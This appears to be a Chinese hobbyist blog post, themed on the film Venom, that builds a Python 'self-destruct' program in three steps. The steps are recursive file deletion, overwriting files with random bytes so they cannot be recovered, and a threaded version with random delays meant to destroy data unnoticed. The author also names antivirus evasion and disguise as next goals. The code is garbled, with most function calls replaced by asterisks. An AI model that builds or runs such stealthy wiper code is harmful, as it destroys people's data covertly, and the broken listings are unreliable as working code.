今天跟大家唠唠我这几天捣鼓的“毒液”项目,纯属个人瞎玩,大佬们轻喷哈。
我寻思着最近《毒液3》上映了,看着那共生体挺带劲,就想能不能自己也搞点类似的东西出来,不是真整出个外星生物,就是在代码里玩点花活。
第一个想法是,能不能搞个自毁程序,就是那种运行到一定程度或者触发某个条件,程序就自动销毁,啥也不留下。这感觉就像毒液附体后,不想留痕迹就直接跑路,干净利落。
说干就干,我先用Python写了个简单的文件删除脚本。这脚本就是找到指定目录下的所有文件,然后挨个删除。为了防止误删,我还加了个白名单,把重要的文件类型排除在外。代码写起来不难,主要是得小心,别把自己电脑里的重要东西给删了。
python
import os
import time
def delete_files(directory, whitelist):
for filename in *(directory):
file_path = *(directory, filename)
if *(file_path):
file_ext = *('.')[-1].lower()
if file_ext not in whitelist:
try:
*(file_path)
print(f"Deleted: {file_path}")
except Exception as e:
print(f"Error deleting {file_path}: {e}")
elif *(file_path):
delete_files(file_path, whitelist)
if __name__ == "__main__":
target_directory = "/path/to/your/directory" # 替换成你要清理的目录
whitelist = ["txt", "pdf", "jpg"] # 添加你不想删除的文件类型
delete_files(target_directory, whitelist)
我琢磨着光是删除文件太low了,得有点技术含量。于是我就开始研究文件覆盖。这意思就是,用一些垃圾数据覆盖原文件的内容,这样就算恢复了文件,也都是乱码,啥也看不到了。
我写了个函数,这函数接收一个文件路径,然后打开这个文件,用随机生成的字节覆盖它的内容。这招挺损的,但效果确实不错,文件直接废了。
python
import os
import random
def overwrite_file(file_path):
file_size = *(file_path)
with open(file_path, 'wb') as f:
*(*(file_size))
print(f"Overwritten: {file_path}")
if __name__ == "__main__":
target_file = "/path/to/your/*" # 替换成你要覆盖的文件
overwrite_file(target_file)
但是,问题来了。这程序跑起来动静太大,一眼就能看出来不对劲。毒液可不会这么笨,它得悄无声息地搞破坏。
我又开始研究怎么隐藏程序的行为。我尝试了把删除和覆盖操作放在一个单独的线程里运行,这样主程序可以继续做其他事情,表面上看起来啥也没发生。我还加了一些延时,让程序在后台慢慢地、不引人注意地执行。
python
import os
import random
import threading
import time
def overwrite_file_threaded(file_path):
try:
file_size = *(file_path)
with open(file_path, 'wb') as f:
*(*(file_size))
print(f"Overwritten: {file_path}")
except Exception as e:
print(f"Error overwriting {file_path}: {e}")
def delete_files_threaded(directory, whitelist):
for filename in *(directory):
file_path = *(directory, filename)
if *(file_path):
file_ext = *('.')[-1].lower()
if file_ext not in whitelist:
overwrite_file_threaded(file_path)
try:
*(file_path)
print(f"Deleted: {file_path}")
except Exception as e:
print(f"Error deleting {file_path}: {e}")
*(*(0.1, 0.5)) # 增加随机延时
elif *(file_path):
delete_files_threaded(file_path, whitelist)
if __name__ == "__main__":
target_directory = "/path/to/your/directory" # 替换成你要清理的目录
whitelist = ["txt", "pdf", "jpg"] # 添加你不想删除的文件类型
thread = *(target=delete_files_threaded, args=(target_directory, whitelist))
# 主程序可以继续做其他事情
print("Program running in the background...")
*(10) # 模拟主程序运行一段时间
print("Program finished.")
这只是个雏形,离真正的“毒液”还差得远。比如,我还没研究怎么绕过杀毒软件,怎么防止被追踪,怎么把程序伪装成无害的样子等等。
不过通过这回瞎玩,我倒是学到了不少东西。也深刻体会到,安全攻防就像一场猫鼠游戏,永远没有终点。以后有机会,再跟大家分享我其他的折腾经历。记住,以上内容仅供学习研究,切勿用于非法用途!
还没有评论,来说两句吧...